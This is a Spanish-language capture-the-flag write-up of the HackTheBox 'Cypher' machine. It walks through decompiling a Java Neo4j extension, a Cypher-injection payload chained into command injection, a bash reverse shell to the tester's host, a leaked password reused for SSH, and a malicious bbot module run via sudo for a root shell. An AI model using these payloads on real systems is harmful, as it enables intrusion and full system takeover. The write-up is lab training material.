Habilidades: Reversing .jar
File (CFR), Cypher Injection + Command Injection, Credentials Leakage, Abusing bbot
- Sudoers Privilege
Introducción
Cypher es una máquina Linux de dificultad Medium
en HackTheBox que requiere analizar código Java al realizar un proceso de Reversing a un archivo .jar
, inyección Cypher, inyección de comandos en una función personalizada de Cypher para acceso inicial. Abusaremos de privilegios sudo
sobre el binario Bbot
para obtener control total y vencer Cypher.
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c1 10.10.11.57
PING 10.10.11.57 (10.10.11.57) 56(84) bytes of data.
64 bytes from 10.10.11.57: icmp_seq=1 ttl=63 time=223 ms
--- 10.10.11.57 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 223.196/223.196/223.196/0.000 ms
Nmap Scanning
Realizaremos un escaneo de puertos a través del protocolo TCP con el fin de identificar puertos abiertos
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.57 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-08 12:40 EDT
Nmap scan report for 10.10.11.57
Host is up (0.37s latency).
Not shown: 43148 filtered tcp ports (no-response), 22385 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 28.72 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Haremos un segundo escaneo de los puertos que hemos descubierto para identificar la versión y los servicios que se ejecutan en cada puerto
nmap -p 22,80 -sVC 10.10.11.57 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-08 12:49 EDT
Nmap scan report for 10.10.11.57
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.64 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
Vemos dos servicios expuestos, ssh
y http
. Para el servicio web, vemos que el servidor nos intenta redirigir al nombre de dominio cypher.htb
, contemplaremos esto en nuestro archivo DNS local
cat /etc/hosts | grep cypher.htb
10.10.11.57 cypher.htb
Web Analysis
Antes de visitar la web podemos ejecutar un escaneo de tecnologías web que el servidor utilice para servir el contenido
whatweb http://cypher.htb
http://cypher.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.57], JQuery[3.6.1], Script, Title[GRAPH ASM], nginx[1.24.0]
Al navegar hasta cypher.htb
, veremos la siguiente web
Hay diversas pestañas en la barra superior, primero iremos a Login
, veremos ls siguiente web donde podremos iniciar sesión. Ocurre un error si intentamos causar un error enviando '
en algún campo
Este error señala un error de python
, podemos apreciar que se intenta ejecutar una función run_cypher
. Más abajo por la línea 20
del error podremos ver la consulta que se intenta hacer, se trata de sintaxis de Cypher
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 59 (offset: 58))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'test'' return h.value as hash"
Understanding Cypher
Cypher es un lenguaje de consulta declarativo diseñado para trabajar con bases de datos de grafos, como Neo4j. Similar a SQL para bases de datos relacionales, Cypher permite a los usuarios consultar, manipular y administrar datos dentro de una base de datos de grafos
Una base de datos de grafos es un sistema de gestión de datos que utiliza la teoría de grafos para representar y almacenar datos, enfocándose en las relaciones entre ellos.
En lugar de tablas como en las bases de datos relacionales, utiliza nodos (vértices) y aristas (relaciones) para representar entidades y sus conexiones
Fuzzing
Intentaremos descubrir rutas que no veamos en la web enviando solicitudes HTTP en base a un diccionario de rutas. Veremos algunas como /demo
, /api
y /testing
gobuster dir -u http://cypher.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cypher.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 4562]
/about (Status: 200) [Size: 4986]
/login (Status: 200) [Size: 3671]
/demo (Status: 307) [Size: 0] [--> /login]
/api (Status: 307) [Size: 0] [--> /api/docs]
/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
Al realizar una solicitud a /api
, obtendremos el siguiente mensaje
curl -L http://cypher.htb/api
{"detail":"Not Found"}#
Directory Listing
En /testing
, veremos cómo se listan los archivos que contiene este directorio. Existe un archivo .jar
que podemos descargar
Nos ubicaremos en nuestro directorio de trabajo para descargar el archivo allí
wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
Reversing - .jar
File Analysis
Haremos un proceso de análisis a este archivo .jar
, podemos utilizar herramientas de reversing
para descompilar el código java
y así verlo en texto claro.
APOC (Awesome Procedures on Cypher) es una biblioteca de procedimientos y funciones definidos por el usuario para Neo4j que amplía su funcionalidad.
En mi caso he utilizado la herramienta crf
, una utilidad que nos permite descompilar archivos .jar
, nombré la carpeta de destino decompiled
(no importa el nombre)
java -jar cfr-0.152.jar custom-apoc-extension-1.0-SNAPSHOT.jar --outputdir decompiled
Processing custom-apoc-extension-1.0-SNAPSHOT.jar (use silent to silence)
Processing com.cypher.neo4j.apoc.HelloWorldProcedure
Processing com.cypher.neo4j.apoc.CustomFunctions
Podemos consultar rápidamente el código de la clase CustomFunctions
/*
* Decompiled with CFR 0.152.
*
* Could not load the following classes:
* org.neo4j.procedure.Description
* org.neo4j.procedure.Mode
* org.neo4j.procedure.Name
* org.neo4j.procedure.Procedure
*/
package com.cypher.neo4j.apoc;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;
public class CustomFunctions {
@Procedure(name="custom.getUrlStatusCode", mode=Mode.READ)
@Description(value="Returns the HTTP status code for the given URL as a string")
public Stream<StringOutput> getUrlStatusCode(@Name(value="url") String url) throws Exception {
String line;
if (!((String)url).toLowerCase().startsWith("http://") && !((String)url).toLowerCase().startsWith("https://")) {
url = "https://" + (String)url;
}
Object[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + (String)url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec((String[])command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
while ((line = errorReader.readLine()) != null) {
errorOutput.append(line).append("\n");
}
String statusCode = inputReader.readLine();
System.out.println("Status code: " + statusCode);
boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
if (!exited) {
process.destroyForcibly();
statusCode = "0";
System.err.println("Process timed out after 10 seconds");
} else {
int exitCode = process.exitValue();
if (exitCode != 0) {
statusCode = "0";
System.err.println("Process exited with code " + exitCode);
}
}
if (errorOutput.length() > 0) {
System.err.println("Error output:\n" + errorOutput.toString());
}
return Stream.of(new StringOutput(statusCode));
}
public static class StringOutput {
public String statusCode;
public StringOutput(String statusCode) {
this.statusCode = statusCode;
}
}
}
El parámetro url
no se sanitiza, se envía directamente dentro de un comando que será ejecutado, esto puede ser una vía potencial para inyectar comandos dentro de esta función
Object[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + (String)url};
Además sabemos que la función se registra como un procedimiento almacenado para ser utilizado dentro de Neo4j
@Procedure(name="custom.getUrlStatusCode", mode=Mode.READ)
@Description(value="Returns the HTTP status code for the given URL as a string")
Intrusión / Explotación
Cypher Injection + Command Injection
Sabiendo que las consultas se realizan en el lenguaje Cypher
, intentaremos inyectar una query maliciosa. Te dejo una guía de Cypher Injection
. Además utilizaremos la función personalizada custom.GetUrlStatusCode()
para intentar inyectar un comando dentro de ésta.
A modo de prueba de concepto, enviaremos un ping
a nuestra máquina atacante:
- Llamaremos a la función
getUrlStatusCode()
utilizando la palabraCALL
. YIELD statusCode RETURN statusCode
asegura que la consulta sea válida y retorna el valor que la función retorna- Cerraremos la consulta con
//
para comentar el resto y evitar errores de sintaxis
' OR 1=1 CALL custom.getUrlStatusCode("x.com; ping -c1 10.10.14.187") YIELD statusCode RETURN statusCode //
Iniciaremos una captura de tráfico ICMP para detectar si estamos recibiendo la traza desde la máquina víctima.
tcpdump -i tun0 icmp
Cuando enviemos la query cypher
en el formulario de Login, desde tcpdump
veremos cómo el servidor nos envía un ping
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:15:31.340812 IP cypher.htb > 10.10.14.187: ICMP echo request, id 39913, seq 1, length 64
14:15:31.340835 IP 10.10.14.187 > cypher.htb: ICMP echo reply, id 39913, seq 1, length 64
Exploiting
Modificaremos el payload
para ejecutar la siguiente reverse shell en bash
, podemos enviarla directamente como parámetro en la función getUrlStatusCode()
' OR 1=1 CALL custom.getUrlStatusCode("x.com; bash -c 'bash -i >& /dev/tcp/10.10.14.187/443 0>&1'") YIELD statusCode RETURN statusCode //
Antes de ejecutar la reverse shell asegúrate de haber iniciado un listener por el puerto por el cual estás enviando la reverse shell, por ejemplo:
nc -lvnp 443
Desde nuestro listener recibiremos correctamente una consola como el usuario neo4j
nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.187] from (UNKNOWN) [10.10.11.57] 57654
bash: cannot set terminal process group (1433): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$
TTY Treatment
Haremos un tratamiento de la TTY para obtener una consola más interactiva y que no se nos vaya al carajo la shell al hacer Ctrl + C
neo4j@cypher:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
neo4j@cypher:/$ ^Z
[1] + 84765 suspended nc -lvnp 443
root@parrot exploits # stty raw -echo; fg
[1] + 84765 continued nc -lvnp 443
reset xterm
Cambiaremos el valor de la variable de entorno TERM
a xterm
para poder hacer Ctrl + L
. Además, ajustaremos las proporciones de la terminal a las que tengamos, puedes verlas en tu máquina con el comando stty size
neo4j@cypher:/$ export TERM=xterm
neo4j@cypher:/$ stty rows 44 columns 184
Finding Lateral Movement Path
En este punto debemos buscar una forma de escalar nuestros privilegios o convertirnos en otro usuario que tenga más privilegios que el usuario actual
Users
Buscando nombres de usuario en el archivo /etc/passwd
, veremos que existe el usuario graphasm
neo4j@cypher:/$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash
(Posible) SUID Binaries
Podemos buscar binarios SUID
que permitan ejecutarlos como otro usuario (no necesariamente root
) y así poder convertirnos en el propietario
neo4j@cypher:/$ find / -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/umount
/usr/bin/fusermount3
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Interesting Files
Dentro del directorio /home
, veremos un archivo .yml
el cual tenemos permisos de lectura, debido a que se permite a otros usuarios inspeccionar el archivo
neo4j@cypher:/$ find /home -type f 2>/dev/null | xargs ls -l
-rw-r--r-- 1 graphasm graphasm 220 Mar 31 2024 /home/graphasm/.bash_logout
-rw-r--r-- 1 graphasm graphasm 3771 Mar 31 2024 /home/graphasm/.bashrc
-rw-r--r-- 1 graphasm graphasm 156 Feb 14 12:35 /home/graphasm/bbot_preset.yml
-rw-r--r-- 1 graphasm graphasm 807 Mar 31 2024 /home/graphasm/.profile
-rw-r----- 1 root graphasm 33 Jul 10 04:05 /home/graphasm/user.txt
Credentials Leakage
Si vemos el contenido del archivo bbot_preset.yml
, veremos unas credenciales para neo4j
neo4j@cypher:/$ cat /home/graphasm/bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
Shell as graphasm
Esta contraseña nos permite autenticarnos como el usuario graphasm
ssh graphasm@cypher.htb
graphasm@cypher.htb\'s password:
Last login: Thu Jul 10 06:41:54 2025 from 10.10.14.187
graphasm@cypher:~$ export TERM=xterm
Ya podemos ver la flag del usuario sin privilegios
graphasm@cypher:~$ cat user.txt
5fa...
Escalada de Privilegios
Abusing bbot
- Sudoers Privileges
Listando los privilegios configurados en /etc/sudoers
, podemos ejecutar bbot
como cualquier usuario (incluyendo root
) sin proporcionar contraseña
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
BBOT, o “Bighuge BLS OSINT Tool”, es un framework de automatización OSINT (Inteligencia de Fuentes Abiertas) de código abierto desarrollado por Black Lantern Security
Con los privilegios actuales, podemos crear un módulo aparentemente inofensivo, que realmente ejecutará un comando en el sistema. Como podemos ejecutarlo emulando ser root
, sería una vía potencial para escalar privilegios.
Existe un repositorio que contempla un módulo malicioso que podemos utilizar como prueba de concepto, podemos clonarlo en nuestra máquina atacante-
git clone https://github.com/Housma/bbot-privesc/
Iniciaremos un servidor HTTP en el directorio donde tenemos el repositorio
python3 -m http.server 80
Crearemos un directorio en la ruta /tmp
y descargaremos recursivamente los archivos necesarios para la escalada
graphasm@cypher:~$ mkdir -p /tmp/privesc && wget -P /tmp/privesc http://10.10.14.187/bbot-privesc -r
Una vez se descargaron los archivos, nos dirigiremos al directorio que creamos en /tmp
graphasm@cypher:~$ cd /tmp/privesc/10.10.14.187/
El archivo .py
contiene el comando que se ejecutará en el sistema, debe contener el mismo nombre tanto en la clase como en el archivo preset.yml
from bbot.modules.base import BaseModule
import pty
class launch_shell(BaseModule):
watched_events = []
produced_events = []
flags = ["safe", "passive"]
meta = {"description": "Execute a interactive shell (root)"}
async def setup(self):
self.hugesuccess("Executing shell!")
try:
pty.spawn(["/bin/bash", "-p"])
except Exception as e:
self.error(f"Failed: {e}")
return True
El archivo preset.yml
luce más o menos de la siguiente manera
description: System Info Recon Scan
module_dirs:
- .
modules:
- launch_shell
En este caso se ejecutará una bash
como el usuario propietario del binario (que es root
)
Root Time
Ejecutaremos el siguiente comando para cargar el módulo falso y ejecutar
graphasm@cypher:/tmp/privesc/privesc$ sudo /usr/local/bin/bbot -t dummy.com -p ./preset.yml --event-types ROOT
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Scan with 1 modules seeded with 1 targets (1 in whitelist)
[INFO] Loaded 1/1 scan modules (systeminfo_enum)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[SUCC] systeminfo_enum: 📡 systeminfo_enum setup called — launching shell!
root@cypher:/tmp/privesc/10.10.14.187# id
uid=0(root) gid=0(root) groups=0(root)
Ya podremos ver la última flag del sistema ubicada en el directorio /root
root@cypher:/tmp/privesc/10.10.14.187# cat /root/root.txt
283...
Gracias por leer este artículo, espero te haya sido de ayuda. Te dejo la cita del día:
In a controversy the instant we feel anger we have already ceased striving for the truth, and have begun striving for ourselves. — Buddha